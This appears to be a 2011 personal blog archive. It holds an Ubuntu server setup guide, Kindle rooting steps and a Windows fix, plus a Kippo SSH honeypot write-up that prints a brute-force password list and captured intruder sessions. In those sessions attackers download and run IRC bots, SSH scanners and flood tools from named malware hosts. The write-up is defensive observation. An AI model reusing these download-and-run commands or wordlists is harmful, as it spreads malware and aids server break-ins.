Bed Against The Wall

Oneiric / Linode Server Migration

2011-12-18T16:38:00.000+01:00

Sigh... I'm sorry, Slicehost, but I'm leaving you. I've been a long (and very happy) Slicehost customer for the past few years. The service offered was perfect for anyone knowing their way around SSH, Linux administration and setting up a server -- and all that for just 30 bucks a month. Nothing bad can be said about the Slicehost developers either: their support has been excellent, the uptime of their servers near-perfect, and their tutorials and guides well-written. I've ran MySQL and web servers, wiki's, proxy's, game hosts and much more on my little slice. I even used it as a honeypot.

But then, a sudden announcement changed everything. In 2008 (such a long time, already!) Slicehost told the world that they had been acquired by Rackspace. Since then, I've become more and more frustrated with Rackspace's need to shove buzzwords, confusing plans and general overdone "enterprisiness" up my throat. Try to find out how much a new slice will cost you... exactly. Compare this new look with the old Slicehost landing page. The old page was simple, easy, beautiful. The new pricing gives the impression that you're bringing 20 consultants on board.

I don't have anything against acquirements in general, but the Rackspace takeover has been particularly confusing for end-users, with DNS service moving to Rackspace (free?), lower bandwidth allowances (huh?), servers moving datacenters (why?), changes in Slice sizes, and a requirement to migrate to Rackspace in 2012 (what does this mean? Just leave me be!)

Since I'm not charmed by Rackspace's way of handling things (I'm sure they're nice people though), I'm moving to Linode. With easy to understand pricing, a clean dashboard (with all the same features as Slicehost) and not too much fluff to get in your way, it's a perfect solution for the hobbyist hacker. Even better: Linode also outperforms the competition performance-wise, although the linked benchmark is a bit old, and I've never had complaints with Slicehost in this regard.

The reason why I've been putting off the move is because it involves setting up a new server (easy), configuring it exactly as you want (difficult), and making sure everything is migrated correctly (ugh). There's always one little configuration directive, file, or database table which is forgotten during the process.

The steps below serve as a reminder, mainly aimed at my (future) self, for setting up an Ubuntu (Oneiric) server. I'm looking forward to seeing how Linode performs...

1. Install Ubuntu

2. Edit /etc/apt/sources.list and update

apt-get update
apt-get upgrade

3. Enable the root account

sudo passwd root

And give root a password. Afterwards we become root by running:

su

4. Synchronize the system clock

Synchronize the system clock with an NTP server over the internet. (You can also install this via the Time and Date Preferences GUI.

apt-get install ntp ntpdate

5. Install the SSH server

Install OpenSSH by default.

apt-get install ssh openssh-server

6. Configure the network

A server should have a static IP address; edit /etc/network/interfaces:

#This file describes the network interfaces available on your system
    # and how to activate them. For more information, see interfaces(5).
    # The loopback network interface
    auto lo
    iface lo inet loopback
    # The primary network interface
    auto eth0
    iface eth0 inet static
        address 192.168.0.100
        netmask 255.255.255.0
        network 192.168.0.0
        broadcast 192.168.0.255
        gateway 192.168.0.1

Then restart your network:

/etc/init.d/networking restart

Then edit /etc/hosts:

127.0.0.1       localhost.localdomain   localhost
192.168.0.100   server1.example.com     server1

# The following lines are desirable for IPv6 capable hosts
  ::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
  ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
  ff02::3 ip6-allhosts

Now run:

echo server1.example.com > /etc/hostname

Reboot the system:

reboot

Afterwards, run:

hostname
hostname -f

Both should show your chosen hostname.

7. Add users

Add some users. Adding a "webmaster" is recommended:

sudo useradd -d /home/webmaster -m webmaster
sudo passwd webmaster
# Set /bin/bash as shell
# Edit /etc/sudoers

8. MySQL

Install MySQL. You will be asked for a root password.

apt-get install mysql-server mysql-client

We keep bind-address = 127.0.0.1 in /etc/mysql/my.cnf.

9. Postfix for SMTP support

apt-get install postfix procmail

You will be asked two questions. Answer as follows:

General type of configuration? <-- Internet Site
    Mail   name? <-- server1.example.com

Run:

dpkg-reconfigure postfix

Again, you'll be asked some questions:

General type of configuration? <-- Internet Site
    Where should   mail for root go <-- [blank]
    Mail name? <--   server1.example.com
    Other destinations to accept   mail for? (blank for none) <--   server1.example.com, localhost.example.com, localhost.localdomain,   localhost
    Force synchronous updates on mail   queue? <-- No
    Local   networks? <-- 127.0.0.0/8
    Use procmail for local delivery? <-- Yes
    Mailbox size   limit <-- 0
    Local   address extension character? <--   +
    Internet protocols to use? <-- ipv4

postconf -e 'inet_interfaces = loopback-only'

We do not create certificates any more. Only using postfix as a local-only SMTP handler. IMAP and others not handled with Google Apps.

Restart Postfix:

/etc/init.d/postfix restart

10. Apache/PHP5

11.1. Installation

apt-get install apache2 apache2-mpm-prefork apache2-utils ssl-cert

Install PHP5:

apt-get install libapache2-mod-php5 php5 php5-common php5-curl   php5-dev php5-gd php5-idn php-pear php5-imagick php5-imap php5-json php5-mcrypt   php5-memcache php5-mhash php5-ming php5-mysql php5-ps php5-pspell php5-recode   php5-snmp php5-sqlite php5-tidy php5-xmlrpc php5-xsl

Edit /etc/apache2/mods-available/dir.conf:

<IfModule mod_dir.c>              
  #DirectoryIndex index.html index.cgi index.pl index.php index.xhtml            
  DirectoryIndex index.html index.htm index.shtml index.cgi index.php index.xhtml
      </IfModule>

Now we have to enable some Apache modules:

a2enmod ssl
a2enmod rewrite
a2enmod suexec
a2enmod status
a2enmod include

Reload the Apache configuration:

/etc/init.d/apache2 force-reload

Don't forget to edit php.ini.

11.2. Adding subdomains

You can add sites to /etc/apache2/sites-enabled, use the following example configuration file:

<VirtualHost *>
   ServerAdmin info@sitename.com
   ServerName sitename.com 
   ServerAlias *.sitename.com

   DocumentRoot /var/www/sitename.com/
 
   <Directory />
       Options FollowSymLinks
       AllowOverride All
   </Directory>
    
   <Directory /var/www/sitename.com/>
       Options Indexes FollowSymLinks MultiViews
       DirectoryIndex index.html index.htm index.php index.php3
       AllowOverride All
       Order allow,deny
       allow from all
   </Directory>

   ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
   <Directory "/usr/lib/cgi-bin">
       AllowOverride None
       Options ExecCGI -MultiViews +SymLinksIfOwnerMatch
       Order allow,deny
       Allow from all
   </Directory>

   ErrorLog /var/log/apache2/error.log

   # Possible values include: debug, info, notice, warn, error, crit,
   # alert, emerg.
   LogLevel warn

   CustomLog /var/log/apache2/access.log combined
   ServerSignature On

   #Alias /doc/ "/usr/share/doc/"

</VirtualHost>

Don't forget to edit the default virtualhost with a NameVirtualHost * and AllowOverride All.

12. Proftpd

Install Proftpd:

apt-get install proftpd ucf

You will be asked a question:

Run proftpd from inetd or standalone? <-- standalone

Now edit /etc/proftpd/proftpd.conf:

[...]
  DefaultRoot /
  UseIPv6 off
  [...]

Then restart Proftpd:

/etc/init.d/proftpd restart

13. PHPMyAdmin

Install PHPMyAdmin:

apt-get install phpmyadmin

Pick apache2 to configure.

14. Secure SSH a bit

Edit /etc/ssh/sshd_config:

Port 4444 #Other than 22
PermitRootLogin no #Make sure other user can login/sudo

15. Set /var/www permissions

chown -R webmaster:www-data /var/www
chmod 775 -R /var/www

16. Install slowloris protection

apt-get install gcc apache2-threaded-dev
wget https://gist.github.com/raw/773464/4e7250692c34f55725384525b513e71be7541f5a/mod_muantiloris.c
apxs2 -a -i -c mod_muantiloris.c
/etc/init.d/apache2 restart

Edit /etc/apache2/httpd.conf:

ExtendedStatus On

IPReadLimit 5
IPPostLimit 10

17. Install fail2ban

apt-get install fail2ban

Don't forget to configure a jail.local and add custom filters if needed.

18. Final migration

Move user files, virtualhost configurations, /var/www. Backup mysql data bases.

Install openjdk-6-jre, davmail if needed.

Backup script:

tar cvpzf backup.tgz --exclude=/proc --exclude=/lost+found --exclude=/mnt --exclude=/sys --exclude=/dev --exclude=/usr --exclude=/bin --exclude=/sbin --exclude=/backup.tgz /

Rooting Kindle Fire

2011-12-10T15:10:00.001+01:00

The following overview is just a reminder, mainly aimed at myself in the future, on how to root the kindle fire.

1. Install Android SDK

Download from http://developer.android.com/sdk/index.html
Update packages

2. In Kindle: “Allow Installation of Applications From Unknown Sources”

3. Edit "android_winusb.inf" in "usb_driver" in Android install path

Copy and paste right beneath [Google.NTx86] and [Google.NTamd64] line:

;Kindle Fire
%SingleAdbInterface% = USB_Install, USB\VID_1949&PID_0006
%CompositeAdbInterface% = USB_Install, USB\VID_1949&PID_0006&MI_01

4. Edit "adb_usb.ini" in ".android"

Add 0x1949

5. Update USB driver

“Update Driver Software” in Device Manager with "android_winusb.inf"

6. (Optional) test USB

In "platform-tools", issue "adb kill-server" and "adb devices"

7. SuperOneClick root

Download from ftp://shortfuse.org/SuperOneClick/Packages/SuperOneClickv2.2-ShortFuse.zip

8. Get "Root Explorer v2.17.1.apk" and "Vending.3.3.12.apk", together with Google Services Framework apk

9. Finalisation

Install Google Service Framework apk and Root Explorer apk
“Move” Vending apk to “/system/app" with Root Explorer
Mount as RW and set Vending apk filepermissions to rw-r–r–
Install Vending apk and reboot

Solving Color Problem In DirectDraw Games Updated Again

2011-07-30T18:29:00.001+02:00

Just a quick note to mention that I've cleaned up my blog post from 2009 once again. The PalettestealerSuspender program has been significantly updated. Usage instructions and downloads (including the older version if you so prefer and full source code) have been moved to a separate blog page, which helps to keep things clean in the original post.

Quick Fix: Windows 7 Service Pack 1 Error 80073701

2011-03-27T00:07:00.000+01:00

If your Windows 7 service pack upgrade is failing with error code 80073701, you might be able to fix it with the following steps. I've had to search around quite a bit before resolving this error, mainly because I saw the first and second solutions listed below pop up everywhere, but it was the third solution that actually fixed the problem for me in the end.

Solution 1: reset Windows Update components (you've probably done this already)

Download the Fix It tool from this Microsoft KB article and run it. Afterwards, restart your computer and try installing SP1 again.

Solution 2: run the System Update Readiness Tool (you've probably done this, too)

The tool can be downloaded from this Microsoft KB article. Make sure to download the correct version. Note that the updates installed by this tool might take a long time to complete. It will appear as if the installation process is stuck. Don't worry, as the progress bar might go from zero to hundred per cent in an instant, just be patient. Afterwards, restart your computer and try installing SP1 again.

Solution 3: check out the logs and run lpksetup (this might be new)

Still no dice? Then check the logs at c:\Windows\Logs\CBS\CheckSUR.log and/or c:\Windows\Logs\CBS\CheckSUR.persist.log. These will give you more detailed information about the error. For me, and for this user at superuser.com, the culprit was a language pack.

However, contrary to the user mentioned above, I am not using a language other than the default English, and cannot recall ever installing one. I ignored the language pack problem (as re-installing a language pack was not an option for me) until I learned about the Language Pack Setup Tool. Just run lpksetup.exe from your Start Menu. A window will pop up asking you if you want to install or uninstall a language pack. Pick uninstall. Sure enough, a list of languages was presented: English (the in use, default and system language), and some other language (Portuguese or Spanish, I can't remember) with a yellow danger sign marking that it was in a broken state. Very strange indeed. After selecting the language for removal and pressing next, the situation was promptly resolved. Deinstalling the language took just a few seconds, probably because no language files were actually present on the disk.

Anyway, after this small operation, installing SP1 went smoothly.

Running A SSH Honeypot With Kippo: Let's Catch Some Script Kiddies

2011-03-10T01:15:00.000+01:00

Introduction

While exploring Fail2Ban during one of my previous posts, it amazed me how many break-in attempts I received, trying to brute force passwords on the SSH daemon. To recap, Fail2Ban does this:

Fail2ban scans log files like /var/log/pwdfail or /var/log/apache/error_log and bans IP that makes too many password failures. It updates firewall rules to reject the IP address.

There are many articles (this is one of them) on the web which describe how you can harden your SSH server, like preventing root logins, to give an example. After getting one Fail2Ban warning after another, I decided to also move my SSH server to another port. And lo and behold, the attacks stopped almost completely. This is an example of security through obscurity, of course, but it shows that most of the attacks are performed by bots or script kiddies who don't look further than port 22, so why not implement this simple chance.

Of course, now port 22 was free to do something else...

Enter Kippo

Around this time (a few months ago), I also came across a program called Kippo:

Kippo is a medium interaction SSH honeypot designed to log brute force attacks and, most importantly, the entire shell interaction performed by the attacker.

Kippo is written in Python and pretty easy to install (the required dependencies are all listed on the homepage). The only thing which needs a bit of setting up is getting Kippo to listen to port 22 (we want our honeypot to catch as much as possible). This wiki page describes how to do just that.

Kippo does not need much setting up, and comes with a lot of Linux commands re-implemented (like wget, adduser, apt-get). The most important thing to do is to take look at kippo.cfg and to create the simulated file system using utils/createfs.py.You can also easily add other commands if you're know what you're doing (take a look in txtcmds/ and kippo/commands/).

After waiting for a week, I examined the logs to find out which passwords were used to try to login at the honeypot. By default, Kippo only comes with one root password it will accept ("123456"), but you can use the utils/passdb.py script to add more. I added these most commonly tried passwords:

aditzul92
admin1
enter
fuckoff
god
lacramioara
letmein
linux
love
passwd
r00t
rootroot
secret
sex
snickhacklol123
test
070790
123456
1q2wazsx
administrator
dragon
fuck
manager
monkey
p0p0c@t3p3tldiej
password
q1w2e3r4
root1
swordfish

It's well known that brute force programs use so called wordlists which contain the most common passwords to try and break in into a server. If you notice that one of your used passwords is present in the list above, I would strongly suggest to change it. Then, I waited...

A few months later

When looking at my logs now, I've had thousands of break-in attempts, hundreds of which "succeeded". The interesting thing about Kippo is that it actually logs the shell session of the hacker. These shell sessions can be divided into three categories:

People who immediately leave once they're logged in, probably to come back later or just take not that this server is indeed available.
People who do some basic fingerprinting of the server, using w, /proc/cpuinfo, uptime and uname -a to figure out the basics of the server. Most hackers also used wget to download a large file to test the download rate of the server. Funnily enough, this was almost always the Windows 2000 SP3. Probably because it's (a) a large file and (b) hosted by a server you know is fast (Microsoft) and (c) is one of the few files on Microsoft's website which is still hotlinkable.
People who performed some fingerprinting and proceeded to download and extract malware. Here Kippo intercepted the attempts to run executables and showed some bogus error messages, after which the hackers disconnected.

Viewing the logs allows for some interesting observations:

Most of the attempts aren't thorough. Most hackers quickly move on when an attempt seems to fail.
The tools used have been repacked and rewritten multiple times. Most of the tools are outdated, contain leftover files from previous installations or attempts, or contain weak attempts at automation shell scripts (with even sillier ASCII art).
The main reasons for hacking a server seems to be: (a) installing tools to hack more servers, (b) installing hidden web servers, (c) installing IRC daemons or bouncers, (d) installing IRC bots. Surprisingly, almost none of the hackers tried to completely nuke the system.
A few hackers spotted that a honeypot was in place. Most did not, despite the fact that Kippo is sometimes very blatant about this fact, by taunting with fake error messages.
It seems that the hackers (I actually mean "script kiddies" whenever I say "hackers") are following some kind of memorized script. Most of the attempts used to exact same fingerprinting and tried to execute the exact same tools. It makes one wonder if there's a "SSH hacking school" out there somewhere. More realistically speaking, there probably is a "hacking tutorial" on a forum somewhere showing which commands you have to execute.

A look at some attempts

Let's look at some of the shell sessions, shall we? I wanted to show an exact replay of the terminal sessions (like the demos on the Kippo homepage, but this proved to be too difficult. (Kippo's log files are not easily read, and while I did code up a conversion tool and the basics of a Javascript replaying script, it underperformed on browsers other than Chrome, and I decided it was not worth further effort).

First example

This attempt shows some of the basic fingerprinting performed by the hackers, and Kippo's faked response. Afterwards, the hacker tries to download an IRC bot. Kippo taunts with an "O RLY" message.

server:~# w
 23:40:45 up 14 days,  3:53,  1 user,  load average: 0.08, 0.02, 0.01
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    188.131.103.31    23:33    0.00s  0.00s  0.00s w
macuyiko@seppelaptop:~/Desktop/kippo/tty$ python playlog.py  Hack1     .log 0
server:~# uptime
 23:30:42 up 14 days,  3:53,  0 users,  load average: 0.08, 0.02, 0.01
server:~# cat /proc/cpuinfo
processor    : 0
vendor_id    : GenuineIntel
cpu family    : 6
model        : 23
model name    : Intel(R) Core(TM)2 Duo CPU     E8200  @ 2.66GHz
stepping    : 6
cpu MHz        : 2133.305
cache size    : 6144 KB
physical id    : 0
siblings    : 2
core id        : 0
cpu cores    : 2
apicid        : 0
initial apicid    : 0
fpu        : yes
fpu_exception    : yes
cpuid level    : 10
wp        : yes
flags        : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good pni monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr sse4_1 lahf_lm
bogomips    : 4270.03
clflush size    : 64
cache_alignment    : 64
address sizes    : 36 bits physical, 48 bits virtual
power management:

processor    : 1
vendor_id    : GenuineIntel
cpu family    : 6
model        : 23
model name    : Intel(R) Core(TM)2 Duo CPU     E8200  @ 2.66GHz
stepping    : 6
cpu MHz        : 2133.305
cache size    : 6144 KB
physical id    : 0
siblings    : 2
core id        : 1
cpu cores    : 2
apicid        : 1
initial apicid    : 1
fpu        : yes
fpu_exception    : yes
cpuid level    : 10
wp        : yes
flags        : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good pni monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr sse4_1 lahf_lm
bogomips    : 4266.61
clflush size    : 64
cache_alignment    : 64
address sizes    : 36 bits physical, 48 bits virtual
power management:

server:~# uname -a
Linux server 2.6.26-2-686 #1 SMP Wed Nov 4 20:45:37 UTC 2009 i686 GNU/Linux
server:~# ls -a
.         ..        .debtags  .viminfo  .aptitude .profile  .bashrc   
server:~# ps x
  PID TTY          TIME CMD
 5673 pts/0    00:00:00 bash
 5677 pts/0    00:00:00 ps x
server:~# wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe
--2011-01-26 23:31:12--  http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe
Connecting to download.microsoft.com:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 130978672 (124M) [application/octet-stream]
Saving to: `W2Ksp3.exe

 7% [===>                                   ] 10,422,763   1731K/s  eta 1m 9s^C
200 OK
server:~# rm -rf W2Ksp3.exe
server:~# wget http://eu-ro.ca/img.tar
--2011-01-26 23:31:31--  http://eu-ro.ca/img.tar
Connecting to eu-ro.ca:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 659886 (644K) [application/x-tar]
Saving to: `img.tar

100%[======================================>] 659,886      219K/s  eta 0s  

2011-01-26 23:31:34 (219 KB/s) - `img.tar' saved [659886/659886]
server:~# tar zxvf img.tar
.img
.img/start
.img/run
.img/r
.img/r/rversions.e
.img/r/rtsay.e
.img/r/rsignoff.e
.img/r/rsay.e
.img/r/rpickup.e
.img/r/rnicks.e
.img/r/rkicks.e
.img/r/rinsult.e
.img/r/raway.e
.img/pico
.img/m.help
.img/inst
.img/bash
.img/autorun
.img
.img/start
.img/run
.img/r
.img/r/rversions.e
.img/r/rtsay.e
.img/r/rsignoff.e
.img/r/rsay.e
.img/r/rpickup.e
.img/r/rnicks.e
.img/r/rkicks.e
.img/r/rinsult.e
.img/r/raway.e
.img/pico
.img/m.help
.img/inst
.img/bash
.img/autorun
server:~# cd .img
server:/root/.img# chmod +x *
server:/root/.img# ./start +s
  ___ 
 {o,o}
 |)__)
 -"-"-
O RLY? cd
  ___ 
 {o,o}
 |)__)
 -"-"-
O RLY? cd ..
  ___ 
 {o,o}
 |)__)
 -"-"-
O RLY?

Second example

Another one (I've removed the fingerprinting from now on). Here, ftp, apt-get and yum are tried before settling with wget. Another interesting thing to see here is that the tool is actually stored in what "looks" like an image file: scanmorf.jpg. Changing the extension is a tactic often used to upload files to web servers who only perform some basic filename checks. In this case, root-arhive.do.am might be an innocent, hacked website. The pscan tool used here will return often and is used to scan IP blocks for open SSH servers.

server:~# ftp zorro89.trei.ro
bash: ftp: command not found
server:~# apt-get
E: Could not open lock file /var/lib/apt/lists/lock - open (13: Permission denied)
E: Unable to lock the list directory
server:~# yum
bash: yum: command not found
server:~# wget
wget: missing URL
Usage: wget [OPTION]... [URL]...

Try `wget --help' for more options.
server:~# http://root-arhive.do.am/scanner/scanmorf.jpg ; tar zxvf scanmorf.jpg ; cd .shm.xcgi?F6=1 ; chmod wget +x *
--2011-01-26 23:53:38--  http://root-arhive.do.am/scanner/scanmorf.jpg
Connecting to root-arhive.do.am:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12466 (12K) [image/jpeg]
Saving to: `scanmorf.jpg

100%[======================================>] 12,466       2K/s  eta 4s

2011-01-26 23:53:38 (2 KB/s) - `scanmorf.jpg' saved [12466/12466]
.shm.xcgi?F6=1
.shm.xcgi?F6=1/12.pscan.80
.shm.xcgi?F6=1/Horde
.shm.xcgi?F6=1/sd.pscan.80
.shm.xcgi?F6=1/h
.shm.xcgi?F6=1/a
.shm.xcgi?F6=1/23.pscan.80
.shm.xcgi?F6=1/paths
.shm.xcgi?F6=1/ps
.shm.xcgi?F6=1/a.pl
.shm.xcgi?F6=1/scan
server:/root/.shm.xcgi?F6=1# ls
12.pscan.80 Horde       sd.pscan.80 h           a           23.pscan.80 paths       ps          a.pl        scan        
server:/root/.shm.xcgi?F6=1# ls -all
drwxr-xr-x 1 root root  4096 2011-01-26 23:53 .
drwxr-xr-x 1 root root  4096 2011-01-26 23:53 ..
-rwxr-xr-x 1 root root     0 2011-01-22 02:25 12.pscan.80
-rwxr-xr-x 1 root root 14372 2011-01-22 02:28 Horde
-rwxr-xr-x 1 root root  9516 2011-01-22 02:25 sd.pscan.80
-rwxr-xr-x 1 root root  2720 2006-05-05 15:56 h
-rwxr-xr-x 1 root root    23 2006-05-05 15:55 a
-rw-r--r-- 1 root root     0 2011-01-22 02:28 23.pscan.80
-rwxr-xr-x 1 root root    50 2006-05-05 15:56 paths
-rwxr-xr-x 1 root root 13432 2011-01-22 02:28 ps
-rwxr-xr-x 1 root root  1165 2006-05-05 15:56 a.pl
-rwxr-xr-x 1 root root   857 2011-01-22 02:28 scan
server:/root/.shm.xcgi?F6=1# ./scan 88.198
  ___ 
 {o,o}
 |)__)
 -"-"-
O RLY? y
  ___
 {o,o}
 (__(|
 -"-"-
NO WAI!
server:/root/.shm.xcgi?F6=1# ./a 88.198
error while loading shared libraries: libgnome.so.32: cannot open shared object file: No such file or directory

Third example

Some intruders are friendly enough to change the root password for us. This would actually be an interesting concept to add to Kippo: when you notice a passwd command being executed, try to set up a reverse SSH connection to the attacker (probably possible since the attackers often use hacked servers themselves) and login with that password. When the same password is used during each hack attempt, we would probably be able to reclaim the originating server. Two tools are downloaded here. One is a flooding IRC bot, the other is a rehash of the pscan tool from above, with some automation shell scripts added (dubbed gosh here). It's also interesting to not that most of the hackers try to cover their tracks by removing their downloads.

server:~# w
 23:35:44 up 14 days,  3:53,  1 user,  load average: 0.08, 0.02, 0.01
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    82.57.163.232     23:35    0.00s  0.00s  0.00s w
server:~# passwd
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully
server:~# cd ..
server:/# cd var 
server:/var# cd tmp
server:/var/tmp# ls
server:/var/tmp# wget http://www.denysa.net/denysa/flood.tgz
--2011-01-26 23:36:24--  http://www.denysa.net/denysa/flood.tgz
Connecting to www.denysa.net:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 227324 (221K) [application/x-compressed]
Saving to: `flood.tgz

100%[======================================>] 227,324      51K/s  eta 2s   

2011-01-26 23:36:26 (51 KB/s) - `flood.tgz' saved [227324/227324]
server:/var/tmp# wget http://gblteam.webs.com/gosh.tgz.tar
--2011-01-26 23:36:44--  http://gblteam.webs.com/gosh.tgz.tar
Connecting to gblteam.webs.com:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1642769 (1M) [application/x-tar]
Saving to: `gosh.tgz.tar

100%[======================================>] 1,642,769    658K/s  eta 0s   

2011-01-26 23:36:46 (658 KB/s) - `gosh.tgz.tar' saved [1642769/1642769]
server:/var/tmp# tar zxvf gosh.tgz.tar
gosh
gosh/3
gosh/4
gosh/common
gosh/go.sh
gosh/scam
gosh/pscan2
gosh/ss
gosh/5
gosh/vuln.txt
gosh/1
gosh/mfu.txt
gosh/pass_file
gosh/gen-pass.sh
gosh/secure
gosh/2
gosh/ssh-scan
gosh/a
server:/var/tmp# cd gosh
server:/var/tmp/gosh# ls
3           4           common      go.sh       scam        pscan2      
ss          5           vuln.txt    1           mfu.txt     pass_file   
gen-pass.sh secure      2           ssh-scan    a           
server:/var/tmp/gosh# touch bios.txt
server:/var/tmp/gosh# chmod +x *
server:/var/tmp/gosh# ./go.sh 114
  ___ 
 {o,o}
 |)__)
 -"-"-
O RLY? y
  ___
 {o,o}
 (__(|
 -"-"-
NO WAI!
server:/var/tmp/gosh# cd ..
server:/var/tmp# rm -rf gosh
server:/var/tmp# ls
flood.tgz    gosh.tgz.tar 
server:/var/tmp# tar zxvf flood.tgz
f
f/1
f/P&ù÷
f/P¦û÷
f/b
f/b2
f/bang.txt
f/f
f/f4
f/fwd
f/hide
f/httpd
f/j
f/j2
f/mech.help
f/mech.set
f/s
f/sl
f/start.sh
f/std
f/stream
f/tty
f/v
f/v2
f/x
server:/var/tmp# cd f
server:/var/tmp/f# rm -rf f
server:/var/tmp/f# ls
1         P&ù÷   P¦û÷  b         b2        bang.txt  f4        fwd       
hide      httpd     j         j2        mech.help mech.set  s         sl        
start.sh  std       stream    tty       v         v2        x         
server:/var/tmp/f# ./httpd
unable to open display ":0"
server:/var/tmp/f# chmod +x *
server:/var/tmp/f# ./httpd
unable to open display ":0"
server:/var/tmp/f# cd..
bash: cd..: command not found
server:/var/tmp/f# cd ..
server:/var/tmp# rm -rf f
server:/var/tmp# ls
flood.tgz    gosh.tgz.tar 
server:/var/tmp# rm -rf flood.tgz
server:/var/tmp# rm -rf gosh.tgz.tar93

Fourth example

Another attempt. Checking out the website http://eu-ro.ca/ reveals what seems to be a Romanian hacker group/set-up. Peeking in the bot configuration often reveals obscure IRC channels on Undernet. Following these channels quickly leads you to a whole set-up of channels, bots, and hackers. If you manage to lay low there, you can gain a lot of info (bot commands, group leaders, group set-up, targets and so on), but be prepared for some bans and insults as well. If I had some more spare time, I would set up a few dedicated honeypots (with more advanced shell simulation) and try to uncover more.

server:~# mkdir /tmp/.user
server:~# cd /tmp/.user
server:/tmp/.user# wget http://eu-ro.ca/.kde.tgz
--2011-01-26 23:46:15--  http://eu-ro.ca/.kde.tgz
Connecting to eu-ro.ca:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1238822 (1M) [application/x-gzip]
Saving to: `.kde.tgz

100%[======================================>] 1,238,822    327K/s  eta 0s   

2011-01-26 23:46:19 (327 KB/s) - `.kde.tgz' saved [1238822/1238822]
server:/tmp/.user# tar zxvf .kde.tgz
.kde
.kde/pass_filees
.kde/pscan2
.kde/a1
.kde/common
.kde/pass_file
.kde/ssh-scan
.kde/auto
.kde/ss
.kde/go.sh
.kde/a
.kde/gen-pass.sh
.kde/start
.kde/vuln.txt
.kde
.kde/pass_filees
.kde/pscan2
.kde/a1
.kde/common
.kde/pass_file
.kde/ssh-scan
.kde/auto
.kde/ss
.kde/go.sh
.kde/a
.kde/gen-pass.sh
.kde/start
.kde/vuln.txt
server:/tmp/.user# cs .kde
bash: cs: command not found
server:/tmp/.user# cd .kde
server:/tmp/.user/.kde# ls -a
.           ..          pass_filees pscan2      a1          common      
pass_file   ssh-scan    auto        ss          go.sh       a           
gen-pass.sh start       vuln.txt    
server:/tmp/.user/.kde# chmod +x *
server:/tmp/.user/.kde# ./a 210.133
unable to open display ":0"
server:/tmp/.user/.kde# chmod +x *
server:/tmp/.user/.kde# ./start 28
error while loading shared libraries: libgnome.so.32: cannot open shared object file: No such file or directory
server:/tmp/.user/.kde# cd ..
server:/tmp/.user# ls-a
bash: ls-a: command not found
server:/tmp/.user# ls -a
.        ..       .kde.tgz .kde     .kde     
server:/tmp/.user# wget bila.do.am/bila.tgz
--2011-01-26 23:50:26--  http://bila.do.am/bila.tgz
Connecting to bila.do.am:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 262027 (255K) [application/octet-stream]
Saving to: `bila.tgz

100%[======================================>] 262,027      6K/s  eta 42s

2011-01-26 23:50:27 (6 KB/s) - `bila.tgz' saved [262027/262027]
server:/tmp/.user# tar zxvf bila.tgz
.tmp
.tmp/cyc.acc
.tmp/ -bash
.tmp/s.sh
.tmp/cyc.set
.tmp/pico
.tmp/stealth
server:/tmp/.user# ls -a
.        ..       .kde.tgz .kde     .kde     bila.tgz .tmp     
server:/tmp/.user# cd .tmp
server:/tmp/.user/.tmp# ls -a
.       ..      cyc.acc  -bash  s.sh    cyc.set pico    stealth 
server:/tmp/.user/.tmp# ./stealth
unable to open display ":0"

Fifth example

Another straightforward attempt. Also here, the website http://arhiva.do.am seems to be used as a dump for hosting malware.

server:~# wget http://arhiva.do.am/dabian.tgz
--2011-01-27 00:18:22--  http://arhiva.do.am/dabian.tgz
Connecting to arhiva.do.am:80... connected.
HTTP request sent, awaiting response... 404 Not Found
server:~# wget http://arhiva.do.am/arhiva.tgz
--2011-01-27 00:18:57--  http://arhiva.do.am/arhiva.tgz
Connecting to arhiva.do.am:80... connected.
HTTP request sent, awaiting response... 404 Not Found
server:~# wget http://arhiva.do.am/scan.tar
--2011-01-27 00:19:28--  http://arhiva.do.am/scan.tar
Connecting to arhiva.do.am:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1484800 (1M) [application/octet-stream]
Saving to: `scan.tar

100%[======================================>] 1,484,800    518K/s  eta 0s  

2011-01-27 00:19:31 (518 KB/s) - `scan.tar' saved [1484800/1484800]
server:~# tar xvf scan.tar
scan
scan/sshf
scan/a6
scan/start
scan/pass_sh
scan/a5
scan/gen-pass.sh
scan/ssh-scan
scan/test.sh
scan/README
scan/200.pscan.22
scan/pass_file
scan/sshf0
scan/pscan2
scan/pico
scan/pass_filees
scan/vuln.txt
scan/a4
scan/a1
scan/a2
scan/mfu.txt
scan/a
scan/common
server:~# rm -rf scan.tar
server:~# ls -a
.         ..        .debtags  .viminfo  .aptitude .profile  .bashrc   scan      
server:~# cd scan
server:/root/scan# ./a 64.189
Shall we play a game?

Sixth example

Another attempt. Here, three different malware programs are tried out before giving up. It's also interesting to see where intruders hide their downloads, some use /root, some /tmp, some esoteric locations like /tmp/....

server:~# wget
wget: missing URL
Usage: wget [OPTION]... [URL]...

Try `wget --help' for more options.
server:~# yum
bash: yum: command not found
server:~# wget freewebtown.com/pacalici/lib.tgz
--2011-02-09 00:30:57--  http://freewebtown.com/pacalici/lib.tgz
Connecting to freewebtown.com:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8772939 (8M) [application/x-tar]
Saving to: `lib.tgz

